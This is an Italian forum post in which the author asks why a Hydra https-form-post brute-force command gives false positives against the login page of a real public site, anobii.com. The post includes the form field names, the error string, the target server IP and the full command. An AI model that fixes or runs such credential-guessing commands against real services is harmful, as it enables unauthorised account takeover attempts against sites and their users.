Ciao raga, sto provando a bruteforceare un mio account (su www.anobii.com giusto per chiarezza) creato ad hoc con email temporanea etc. Il problema è che credo ci sia qualcosa di sbagliato nella mia sintassi. In realtà non è un vero e proprio bruteforce perchè uso una sola email e una sola password, ma è per provare
PREMESSE

ho seguito questa guida -> http://insidetrust.blogspot.it/2011/08/using-hydra-to-dictionary-attack-web.html

la "vera" login page si trova su anobii.com/login/2

ho fatto un nmap www.anobii.com e risultano 2 ip: 159.122.135.194 e 159.122.135.194, facendo il login con wireshark in background risulta che scambio informazioni con 159.122.135.194 quindi immagino sia questo il server giusto

stringhe di codice interessate:

<form id="/login_check" method="post">

<input type="text" id="username" class="form-control" name="_username" value="" placeholder="Email" required="required" />
<input type="password" id="password" class="form-control" name="_password" placeholder="Password" required="required" />

quindi devo utilizzare /login_check, _username e _password

e infine, sbagliando password alla pagina anobii.com/login/2 ho il seguente sergente:

{"error_check":"RyLZEnVrC_hERA7UPfGpUBPyJJgtWPdg8-mtyRFhWuk","error":"Bad credentials"}

e siamo arrivati a me, ecco quello che butto nel terminale:

hydra 159.122.135.194 https-form-post "/login/2/login_check:_username=^USER^&_password=^PASS^:Bad credentials" -l [email protected] -p MY_PASSWORD -t 10 -w 30-o ~/Documents/results.txt

ovviamente MY_PASSWORD è la password, che, giusta o sbagliata che sia, viene sempre segnalata come positiva, l'output:
[DATA] max 1 task per 1 server, overall 64 tasks, 1 login try (l:1/p:1), ~0 tries per task
[DATA] attacking service http-post-form on port 443 with SSL
[443][http-post-form] host: 159.122.135.194 login: [email protected] password: QUALSIASI_PASSWORD
1 of 1 target successfully completed, 1 valid password found


cosa sto sbagliando?